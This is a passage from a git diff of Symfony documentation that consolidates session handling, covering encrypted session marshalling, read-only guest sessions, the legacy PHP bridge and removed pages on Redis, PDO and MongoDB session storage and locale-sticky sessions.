xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd" + > + <services> + <service id="Symfony\Component\Cache\Marshaller\SodiumMarshaller" decorates="session.marshaller"> + <argument type="collection"> + <argument>env(file:resolve:SESSION_DECRYPTION_FILE)</argument> + </argument> + <argument type="service" id=".inner"/> + </service> + </services> + </container> + + .. code-block:: php + + // config/services.php + use Symfony\Component\Cache\Marshaller\SodiumMarshaller; + use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; + // ... + + return function(ContainerConfigurator $container) { + $services = $container->services(); + + // ... + + $services->set(SodiumMarshaller::class) + ->decorate('session.marshaller') + ->args([ + [env('file:resolve:SESSION_DECRYPTION_FILE')], + service('.inner'), + ]); + }; + +.. danger:: + + This will encrypt the values of the cache items, but not the cache keys. Be + careful not to leak sensitive data in the keys. + +Read-only Guest Sessions +~~~~~~~~~~~~~~~~~~~~~~~~ + +There are some applications where a session is required for guest users, but +where there is no particular need to persist the session. In this case you can +intercept the session before it is written:: + + // src/Session/ReadOnlySessionProxy.php + namespace App\Session; + + use App\Entity\User; + use Symfony\Bundle\SecurityBundle\Security; + use Symfony\Component\HttpFoundation\Session\Storage\Proxy\SessionHandlerProxy; + + class ReadOnlySessionProxy extends SessionHandlerProxy + { + public function __construct( + private \SessionHandlerInterface $handler, + private Security $security + ) { + parent::__construct($handler); + } + + public function write($id, $data): string + { + if ($this->getUser() && $this->getUser()->isGuest()) { + return; + } + + return parent::write($id, $data); + } + + private function getUser(): ?User + { + $user = $this->security->getUser(); + if (is_object($user)) { + return $user; + } + + return null; + } + } + +.. _session-avoid-start: + +Integrating with Legacy Applications +------------------------------------ + +If you're integrating the Symfony full-stack Framework into a legacy +application that starts the session with ``session_start()``, you may still be +able to use Symfony's session management by using the PHP Bridge session. + +If the application has its own PHP save handler, you can specify ``null`` +for the ``handler_id``: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/framework.yaml + framework: + session: + storage_factory_id: session.storage.factory.php_bridge + handler_id: ~ + + .. code-block:: xml + + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <framework:config> + <framework:session storage-factory-id="session.storage.factory.php_bridge" + handler-id="null" + /> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->session() + ->storageFactoryId('session.storage.factory.php_bridge') + ->handlerId(null) + ; + }; + + .. code-block:: php-standalone + + use Symfony\Component\HttpFoundation\Session\Session; + use Symfony\Component\HttpFoundation\Session\Storage\PhpBridgeSessionStorage; + + // legacy application configures session + ini_set('session.save_handler', 'files'); + ini_set('session.save_path', '/tmp'); + session_start(); + + // Get Symfony to interface with this existing session + $session = new Session(new PhpBridgeSessionStorage()); + + // symfony will now interface with the existing PHP session + $session->start(); + +Otherwise, if the problem is that you cannot avoid the application +starting the session with ``session_start()``, you can still make use of +a Symfony based session save handler by specifying the save handler as in +the example below: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/framework.yaml + framework: + session: + storage_factory_id: session.storage.factory.php_bridge + handler_id: session.handler.native_file + + .. code-block:: xml + + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <framework:config> + <framework:session storage-id="session.storage.factory.php_bridge" + handler-id="session.handler.native_file" + /> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; -More about Sessions -------------------- + return static function (FrameworkConfig $framework): void { + $framework->session() + ->storageFactoryId('session.storage.factory.php_bridge') + ->handlerId('session.handler.native_file') + ; + }; -.. toctree:: - :maxdepth: 1 +.. note:: - session/database - session/locale_sticky_session - session/php_bridge - session/proxy_examples + If the legacy application requires its own session save handler, do not + override this. Instead set ``handler_id: ~``. Note that a save handler + cannot be changed once the session has been started. If the application + starts the session before Symfony is initialized, the save handler will + have already been set. In this case, you will need ``handler_id: ~``. + Only override the save handler if you are sure the legacy application + can use the Symfony save handler without side effects and that the session + has not been started before Symfony is initialized. -.. _`HttpFoundation component`: https://symfony.com/components/HttpFoundation +.. _`phpredis extension`: https://github.com/phpredis/phpredis +.. _`DoctrineMongoDBBundle configuration`: https://symfony.com/doc/master/bundles/DoctrineMongoDBBundle/config.html +.. _`MongoDB shell`: https://docs.mongodb.com/manual/mongo/ +.. _`php-encryption`: https://github.com/defuse/php-encryption diff --git a/session/database.rst b/session/database.rst deleted file mode 100644 index e01d32c6d79..00000000000 --- a/session/database.rst +++ /dev/null @@ -1,620 +0,0 @@ -.. index:: - single: Session; Database Storage - -Store Sessions in a Database -============================ - -Symfony stores sessions in files by default. If your application is served by -multiple servers, you'll need to use instead a database to make sessions work -across different servers. - -Symfony can store sessions in all kinds of databases (relational, NoSQL and -key-value) but recommends key-value databases like Redis to get best performance. - -Store Sessions in a key-value Database (Redis) ----------------------------------------------- - -This section assumes that you have a fully-working Redis server and have also -installed and configured the `phpredis extension`_. - -First, define a Symfony service for the connection to the Redis server: - -.. configuration-block:: - - .. code-block:: yaml - - # config/services.yaml - services: - # ... - Redis: - # you can also use \RedisArray, \RedisCluster or \Predis\Client classes - class: Redis - calls: - - connect: - - '%env(REDIS_HOST)%' - - '%env(int:REDIS_PORT)%' - - # uncomment the following if your Redis server requires a password - # - auth: - # - '%env(REDIS_PASSWORD)%' - - .. code-block:: xml - - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd"> - - <services> - <!-- you can also use \RedisArray, \RedisCluster or \Predis\Client classes --> - <service id="Redis" class="Redis"> - <call method="connect"> - <argument>%env(REDIS_HOST)%</argument> - <argument>%env(int:REDIS_PORT)%</argument> - </call> - - <!-- uncomment the following if your Redis server requires a password: - <call method="auth"> - <argument>%env(REDIS_PASSWORD)%</argument> - </call> --> - </service> - </services> - </container> - - .. code-block:: php - - use Symfony\Component\DependencyInjection\Reference; - - // ... - $container - // you can also use \RedisArray, \RedisCluster or \Predis\Client classes - ->register('Redis', \Redis::class) - ->addMethodCall('connect', ['%env(REDIS_HOST)%', '%env(int:REDIS_PORT)%']) - // uncomment the following if your Redis server requires a password: - // ->addMethodCall('auth', ['%env(REDIS_PASSWORD)%']) - ; - -Now pass this ``\Redis`` connection as an argument of the service associated to the -:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\RedisSessionHandler`. -This argument can also be a ``\RedisArray``, ``\RedisCluster``, ``\Predis\Client``, -and ``RedisProxy``: - -.. configuration-block:: - - .. code-block:: yaml - - # config/services.yaml - services: - # ... - Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler: - arguments: - - '@Redis' - # you can optionally pass an array of options. The only option is 'prefix', - # which defines the prefix to use for the keys to avoid collision on the Redis server - # - { prefix: 'my_prefix' } - - .. code-block:: xml - - <!-- config/services.xml --> - <services> - <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler"> - <argument type="service" id="Redis"/> - <!-- you can optionally pass an array of options. The only option is 'prefix', - which defines the prefix to use for the keys to avoid collision on the Redis server: - <argument type="collection"> - <argument key="prefix">my_prefix</argument> - </argument> --> - </service> - </services> - - .. code-block:: php - - // config/services.php - use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler; - - $container - ->register(RedisSessionHandler::class) - ->addArgument( - new Reference('Redis'), - // you can optionally pass an array of options. The only option is 'prefix', - // which defines the prefix to use for the keys to avoid collision on the Redis server: - // ['prefix' => 'my_prefix'], - ); - -Next, use the :ref:`handler_id <config-framework-session-handler-id>` -configuration option to tell Symfony to use this service as the session handler: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/framework.yaml - framework: - # ... - session: - handler_id: Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler - - .. code-block:: xml - - <!-- config/packages/framework.xml --> - <framework:config> - <!-- ... --> - <framework:session handler-id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler"/> - </framework:config> - - .. code-block:: php - - // config/packages/framework.php - use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler; - - // ... - $container->loadFromExtension('framework', [ - // ... - 'session' => [ - 'handler_id' => RedisSessionHandler::class, - ], - ]); - -That's all! Symfony will now use your Redis server to read and write the session -data. The main drawback of this solution is that Redis does not perform session -locking, so you can face *race conditions* when accessing sessions. For example, -you may see an *"Invalid CSRF token"* error because two requests were made in -parallel and only the first one stored the CSRF token in the session. - -.. seealso:: - - If you use Memcached instead of Redis, follow a similar approach but replace - ``RedisSessionHandler`` by :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MemcachedSessionHandler`. - -Store Sessions in a Relational Database (MySQL, PostgreSQL) ------------------------------------------------------------ - -Symfony includes a :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler` -to store sessions in relational databases like MySQL and PostgreSQL. To use it, -first register a new handler service with your database credentials: - -.. configuration-block:: - - .. code-block:: yaml - - # config/services.yaml - services: - # ... - - Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler: - arguments: - - '%env(DATABASE_URL)%' - - # you can also use PDO configuration, but requires passing two arguments - # - 'mysql:dbname=mydatabase; host=myhost; port=myport' - # - { db_username: myuser, db_password: mypassword } - - .. code-block:: xml - - <!-- config/services.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:framework="http://symfony.com/schema/dic/symfony" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> - - <services> - <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler" public="false"> - <argument>%env(DATABASE_URL)%</argument> - - <!-- you can also use PDO configuration, but requires passing two arguments: --> - <!-- <argument>mysql:dbname=mydatabase, host=myhost</argument> - <argument type="collection"> - <argument key="db_username">myuser</argument> - <argument key="db_password">mypassword</argument> - </argument> --> - </service> - </services> - </container> - - .. code-block:: php - - // config/services.php - namespace Symfony\Component\DependencyInjection\Loader\Configurator; - - use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler; - - return static function (ContainerConfigurator $container) { - $services = $configurator->services(); - - $services->set(PdoSessionHandler::class) - ->args([ - '%env(DATABASE_URL)%', - // you can also use PDO configuration, but requires passing two arguments: - // 'mysql:dbname=mydatabase; host=myhost; port=myport', - // ['db_username' => 'myuser', 'db_password' => 'mypassword'], - ]) - ; - }; - -Next, use the :ref:`handler_id <config-framework-session-handler-id>` -configuration option to tell Symfony to use this service as the session handler: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/framework.yaml - framework: - session: - # ... - handler_id: Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler - - .. code-block:: xml - - <!-- config/packages/framework.xml --> - <framework:config> - <!-- ... --> - <framework:session - handler-id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler"/> - </framework:config> - - .. code-block:: php - - // config/packages/framework.php - use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler; - - // ... - $container->loadFromExtension('framework', [ - // ... - 'session' => [ - 'handler_id' => PdoSessionHandler::class, - ], - ]); - -Configuring the Session Table and Column Names -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -The table used to store sessions is called ``sessions`` by default and defines -certain column names. You can configure these values with the second argument -passed to the ``PdoSessionHandler`` service: - -.. configuration-block:: - - .. code-block:: yaml - - # config/services.yaml - services: - # ... - - Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler: - arguments: - - '%env(DATABASE_URL)%' - - { db_table: 'customer_session', db_id_col: 'guid' } - - .. code-block:: xml - - <!-- config/services.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> - - <services> - <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler" public="false"> - <argument>%env(DATABASE_URL)%</argument> - <argument type="collection"> - <argument key="db_table">customer_session</argument> - <argument key="db_id_col">guid</argument> - </argument> - </service> - </services> - </container> - - .. code-block:: php - - // config/services.php - namespace Symfony\Component\DependencyInjection\Loader\Configurator; - - use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler; - - return static function (ContainerConfigurator $container) { - $services = $configurator->services(); - - $services->set(PdoSessionHandler::class) - ->args([ - '%env(DATABASE_URL)%', - ['db_table' => 'customer_session', 'db_id_col' => 'guid'], - ]) - ; - }; - -These are parameters that you can configure: - -``db_table`` (default ``sessions``): - The name of the session table in your database; - -``db_username``: (default: ``''``) - The username used to connect when using the PDO configuration (when using - the connection based on the ``DATABASE_URL`` env var, it overrides the - username defined in the env var). - -``db_password``: (default: ``''``) - The password used to connect when using the PDO configuration (when using - the connection based on the ``DATABASE_URL`` env var, it overrides the - password defined in the env var). - -``db_id_col`` (default ``sess_id``): - The name of the column where to store the session ID (column type: ``VARCHAR(128)``); - -``db_data_col`` (default ``sess_data``): - The name of the column where to store the session data (column type: ``BLOB``); - -``db_time_col`` (default ``sess_time``): - The name of the column where to store the session creation timestamp (column type: ``INTEGER``); - -``db_lifetime_col`` (default ``sess_lifetime``): - The name of the column where to store the session lifetime (column type: ``INTEGER``); - -``db_connection_options`` (default: ``[]``) - An array of driver-specific connection options; - -``lock_mode`` (default: ``LOCK_TRANSACTIONAL``) - The strategy for locking the database to avoid *race conditions*. Possible - values are ``LOCK_NONE`` (no locking), ``LOCK_ADVISORY`` (application-level - locking) and ``LOCK_TRANSACTIONAL`` (row-level locking). - -Preparing the Database to Store Sessions -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -Before storing sessions in the database, you must create the table that stores -the information. The session handler provides a method called -:method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler::createTable` -to set up this table for you according to the database engine used:: - - try { - $sessionHandlerService->createTable(); - } catch (\PDOException $exception) { - // the table could not be created for some reason - } - -If you prefer to set up the table yourself, it's recommended to generate an -empty database migration with the following command: - -.. code-block:: terminal - - $ php bin/console doctrine:migrations:generate - -Then, find the appropriate SQL for your database below, add it to the migration -file and run the migration with the following command: - -.. code-block:: terminal - - $ php bin/console doctrine:migrations:migrate - -MySQL -..... - -.. code-block:: sql - - CREATE TABLE `sessions` ( - `sess_id` VARBINARY(128) NOT NULL PRIMARY KEY, - `sess_data` BLOB NOT NULL, - `sess_lifetime` INTEGER UNSIGNED NOT NULL, - `sess_time` INTEGER UNSIGNED NOT NULL - ) COLLATE utf8mb4_bin, ENGINE = InnoDB; - -.. note:: - - A ``BLOB`` column type (which is the one used by default by ``createTable()``) - stores up to 64 kb. If the user session data exceeds this, an exception may - be thrown or their session will be silently reset. Consider using a ``MEDIUMBLOB`` - if you need more space. - -PostgreSQL -.......... - -.. code-block:: sql - - CREATE TABLE sessions ( - sess_id VARCHAR(128) NOT NULL PRIMARY KEY, - sess_data BYTEA NOT NULL, - sess_lifetime INTEGER NOT NULL, - sess_time INTEGER NOT NULL - ); - -Microsoft SQL Server -.................... - -.. code-block:: sql - - CREATE TABLE sessions ( - sess_id VARCHAR(128) NOT NULL PRIMARY KEY, - sess_data VARBINARY(MAX) NOT NULL, - sess_lifetime INTEGER NOT NULL, - sess_time INTEGER NOT NULL - ); - -Store Sessions in a NoSQL Database (MongoDB) --------------------------------------------- - -Symfony includes a :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MongoDbSessionHandler` -to store sessions in the MongoDB NoSQL database. First, make sure to have a -working MongoDB connection in your Symfony application as explained in the -`DoctrineMongoDBBundle configuration`_ article. - -Then, register a new handler service for ``MongoDbSessionHandler`` and pass it -the MongoDB connection as argument: - -.. configuration-block:: - - .. code-block:: yaml - - # config/services.yaml - services: - # ... - - Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler: - arguments: - - '@doctrine_mongodb.odm.default_connection' - - .. code-block:: xml - - <!-- config/services.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:framework="http://symfony.com/schema/dic/symfony" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> - - <services> - <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler" public="false"> - <argument type="service">doctrine_mongodb.odm.default_connection</argument> - </service> - </services> - </container> - - .. code-block:: php - - // config/services.php - namespace Symfony\Component\DependencyInjection\Loader\Configurator; - - use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler; - - return static function (ContainerConfigurator $container) { - $services = $configurator->services(); - - $services->set(MongoDbSessionHandler::class) - ->args([ - service('doctrine_mongodb.odm.default_connection'), - ]) - ; - }; - -Next, use the :ref:`handler_id <config-framework-session-handler-id>` -configuration option to tell Symfony to use this service as the session handler: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/framework.yaml - framework: - session: - # ... - handler_id: Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler - - .. code-block:: xml - - <!-- config/packages/framework.xml --> - <framework:config> - <!-- ... --> - <framework:session - handler-id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler"/> - </framework:config> - - .. code-block:: php - - // config/packages/framework.php - use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler; - - // ... - $container->loadFromExtension('framework', [ - // ... - 'session' => [ - 'handler_id' => MongoDbSessionHandler::class, - ], - ]); - -.. note:: - - MongoDB ODM 1.x only works with the legacy driver, which is no longer - supported by the Symfony session class. Install the ``alcaeus/mongo-php-adapter`` - package to retrieve the underlying ``\MongoDB\Client`` object or upgrade to - MongoDB ODM 2.0. - -That's all! Symfony will now use your MongoDB server to read and write the -session data. You do not need to do anything to initialize your session -collection. However, you may want to add an index to improve garbage collection -performance. Run this from the `MongoDB shell`_: - -.. code-block:: javascript - - use session_db - db.session.ensureIndex( { "expires_at": 1 }, { expireAfterSeconds: 0 } ) - -Configuring the Session Field Names -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -The collection used to store sessions defines certain field names. You can -configure these values with the second argument passed to the -``MongoDbSessionHandler`` service: - -.. configuration-block:: - - .. code-block:: yaml - - # config/services.yaml - services: - # ... - - Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler: - arguments: - - '@doctrine_mongodb.odm.default_connection' - - { id_field: '_guid', 'expiry_field': 'eol' } - - .. code-block:: xml - - <!-- config/services.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> - - <services> - <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler" public="false"> - <argument type="service">doctrine_mongodb.odm.default_connection</argument> - <argument type="collection"> - <argument key="id_field">_guid</argument> - <argument key="expiry_field">eol</argument> - </argument> - </service> - </services> - </container> - - .. code-block:: php - - // config/services.php - namespace Symfony\Component\DependencyInjection\Loader\Configurator; - - use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler; - - return static function (ContainerConfigurator $container) { - $services = $configurator->services(); - - $services->set(MongoDbSessionHandler::class) - ->args([ - service('doctrine_mongodb.odm.default_connection'), - ['id_field' => '_guid', 'expiry_field' => 'eol'],, - ]) - ; - }; - -These are parameters that you can configure: - -``id_field`` (default ``_id``): - The name of the field where to store the session ID; - -``data_field`` (default ``data``): - The name of the field where to store the session data; - -``time_field`` (default ``time``): - The name of the field where to store the session creation timestamp; - -``expiry_field`` (default ``expires_at``): - The name of the field where to store the session lifetime. - -.. _`phpredis extension`: https://github.com/phpredis/phpredis -.. _`DoctrineMongoDBBundle configuration`: https://symfony.com/doc/master/bundles/DoctrineMongoDBBundle/config.html -.. _`MongoDB shell`: https://docs.mongodb.com/manual/mongo/ diff --git a/session/locale_sticky_session.rst b/session/locale_sticky_session.rst deleted file mode 100644 index f8caef23370..00000000000 --- a/session/locale_sticky_session.rst +++ /dev/null @@ -1,187 +0,0 @@ -.. index:: - single: Sessions, saving locale - -Making the Locale "Sticky" during a User's Session -================================================== - -Symfony stores the locale setting in the Request, which means that this setting -is not automatically saved ("sticky") across requests. But, you *can* store the locale -in the session, so that it's used on subsequent requests. - -.. _creating-a-LocaleSubscriber: - -Creating a LocaleSubscriber ---------------------------- - -Create a :ref:`new event subscriber <events-subscriber>`. Typically, ``_locale`` -is used as a routing parameter to signify the locale, though you can determine the -correct locale however you want:: - - // src/EventSubscriber/LocaleSubscriber.php - namespace App\EventSubscriber; - - use Symfony\Component\EventDispatcher\EventSubscriberInterface; - use Symfony\Component\HttpKernel\Event\RequestEvent; - use Symfony\Component\HttpKernel\KernelEvents; - - class LocaleSubscriber implements EventSubscriberInterface - { - private $defaultLocale; - - public function __construct($defaultLocale = 'en') - { - $this->defaultLocale = $defaultLocale; - } - - public function onKernelRequest(RequestEvent $event) - { - $request = $event->getRequest(); - if (!$request->hasPreviousSession()) { - return; - } - - // try to see if the locale has been set as a _locale routing parameter - if ($locale = $request->attributes->get('_locale')) { - $request->getSession()->set('_locale', $locale); - } else { - // if no explicit locale has been set on this request, use one from the session - $request->setLocale($request->getSession()->get('_locale', $this->defaultLocale)); - } - } - - public static function getSubscribedEvents() - { - return [ - // must be registered before (i.e. with a higher priority than) the default Locale listener - KernelEvents::REQUEST => [['onKernelRequest', 20]], - ]; - } - } - -If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`, -you're done! Symfony will automatically know about the event subscriber and call -the ``onKernelRequest`` method on each request. - -To see it working, either set the ``_locale`` key on the session manually (e.g. -via some "Change Locale" route & controller), or create a route with the :ref:`_locale default <translation-locale-url>`. - -.. sidebar:: Explicitly Configure the Subscriber - - You can also explicitly configure it, in order to pass in the :ref:`default_locale <config-framework-default_locale>`: - - .. configuration-block:: - - .. code-block:: yaml - - # config/services.yaml - services: - # ... - - App\EventSubscriber\LocaleSubscriber: - arguments: ['%kernel.default_locale%'] - # uncomment the next line if you are not using autoconfigure - # tags: [kernel.event_subscriber] - - .. code-block:: xml - - <!-- config/services.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> - - <services> - <service id="App\EventSubscriber\LocaleSubscriber"> - <argument>%kernel.default_locale%</argument> - - <!-- uncomment the next line if you are not using autoconfigure --> - <!-- <tag name="kernel.event_subscriber"/> --> - </service> - </services> - </container> - - .. code-block:: php - - // config/services.php - use App\EventSubscriber\LocaleSubscriber; - - $container->register(LocaleSubscriber::class) - ->addArgument('%kernel.default_locale%') - // uncomment the next line if you are not using autoconfigure - // ->addTag('kernel.event_subscriber'); - -That's it! Now celebrate by changing the user's locale and seeing that it's -sticky throughout the request. - -Remember, to get the user's locale, always use the :method:`Request::getLocale <Symfony\\Component\\HttpFoundation\\Request::getLocale>` -method:: - - // from a controller... - use Symfony\Component\HttpFoundation\Request; - - public function index(Request $request) - { - $locale = $request->getLocale(); - } - -Setting the Locale Based on the User's Preferences --------------------------------------------------- - -You might want to improve this technique even further and define the locale based on -the user entity of the logged in user. However, since the ``LocaleSubscriber`` is called -before the ``FirewallListener``, which is responsible for handling authentication and -setting the user token on the ``TokenStorage``, you have no access to the user -which is logged in. - -Suppose you have a ``locale`` property on your ``User`` entity and -want to use this as the locale for the given user. To accomplish this, -you can hook into the login process and update the user's session with this -locale value before they are redirected to their first page. - -To do this, you need an event subscriber on the ``security.interactive_login`` -event:: - - // src/EventSubscriber/UserLocaleSubscriber.php - namespace App\EventSubscriber; - - use Symfony\Component\EventDispatcher\EventSubscriberInterface; - use Symfony\Component\HttpFoundation\Session\SessionInterface; - use Symfony\Component\Security\Http\Event\InteractiveLoginEvent; - use Symfony\Component\Security\Http\SecurityEvents; - - /** - * Stores the locale of the user in the session after the - * login. This can be used by the LocaleSubscriber afterwards. - */ - class UserLocaleSubscriber implements EventSubscriberInterface - { - private $session; - - public function __construct(SessionInterface $session) - { - $this->session = $session; - } - - public function onInteractiveLogin(InteractiveLoginEvent $event) - { - $user = $event->getAuthenticationToken()->getUser(); - - if (null !== $user->getLocale()) { - $this->session->set('_locale', $user->getLocale()); - } - } - - public static function getSubscribedEvents() - { - return [ - SecurityEvents::INTERACTIVE_LOGIN => 'onInteractiveLogin', - ]; - } - } - -.. caution:: - - In order to update the language immediately after a user has changed - their language preferences, you also need to update the session when you change - the ``User`` entity. diff --git a/session/php_bridge.rst b/session/php_bridge.rst deleted file mode 100644 index 42c8644e2a7..00000000000 --- a/session/php_bridge.rst +++ /dev/null @@ -1,104 +0,0 @@ -.. index:: - single: Sessions - -Bridge a legacy Application with Symfony Sessions -================================================= - -If you're integrating the Symfony full-stack Framework into a legacy application -that starts the session with ``session_start()``, you may still be able to -use Symfony's session management by using the PHP Bridge session. - -If the application has its own PHP save handler, you can specify null -for the ``handler_id``: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/framework.yaml - framework: - session: - storage_id: session.storage.php_bridge - handler_id: ~ - - .. code-block:: xml - - <!-- config/packages/framework.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:framework="http://symfony.com/schema/dic/symfony" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> - - <framework:config> - <framework:session storage-id="session.storage.php_bridge" - handler-id="null" - /> - </framework:config> - </container> - - .. code-block:: php - - // config/packages/framework.php - $container->loadFromExtension('framework', [ - 'session' => [ - 'storage_id' => 'session.storage.php_bridge', - 'handler_id' => null, - ], - ]); - -Otherwise, if the problem is that you cannot avoid the application -starting the session with ``session_start()``, you can still make use of -a Symfony based session save handler by specifying the save handler as in -the example below: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/framework.yaml - framework: - session: - storage_id: session.storage.php_bridge - handler_id: session.handler.native_file - - .. code-block:: xml - - <!-- config/packages/framework.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:framework="http://symfony.com/schema/dic/symfony" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> - - <framework:config> - <framework:session storage-id="session.storage.php_bridge" - handler-id="session.storage.native_file" - /> - </framework:config> - </container> - - .. code-block:: php - - // config/packages/framework.php - $container->loadFromExtension('framework', [ - 'session' => [ - 'storage_id' => 'session.storage.php_bridge', - 'handler_id' => 'session.storage.native_file', - ], - ]); - -.. note:: - - If the legacy application requires its own session save handler, do not - override this. Instead set ``handler_id: ~``. Note that a save handler - cannot be changed once the session has been started. If the application - starts the session before Symfony is initialized, the save handler will - have already been set. In this case, you will need ``handler_id: ~``. - Only override the save handler if you are sure the legacy application - can use the Symfony save handler without side effects and that the session - has not been started before Symfony is initialized. - -For more details, see :doc:`/components/http_foundation/session_php_bridge`. diff --git a/session/proxy_examples.rst b/session/proxy_examples.rst deleted file mode 100644 index c4c3f9423a3..00000000000 --- a/session/proxy_examples.rst +++ /dev/null @@ -1,144 +0,0 @@ -.. index:: - single: Sessions, Session Proxy, Proxy - -Session Proxy Examples -====================== - -The session proxy mechanism has a variety of uses and this article demonstrates -two common uses. Rather than using the regular session handler, you can create -a custom save handler by defining a class that extends the -:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Proxy\\SessionHandlerProxy` -class. - -Then, define the class as a :ref:`service <service-container-creating-service>`. -If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`, -that happens automatically. - -Finally, use the ``framework.session.handler_id`` configuration option to tell -Symfony to use your session handler instead of the default one: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/framework.yaml - framework: - session: - # ... - handler_id: App\Session\CustomSessionHandler - - .. code-block:: xml - - <!-- config/packages/framework.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - 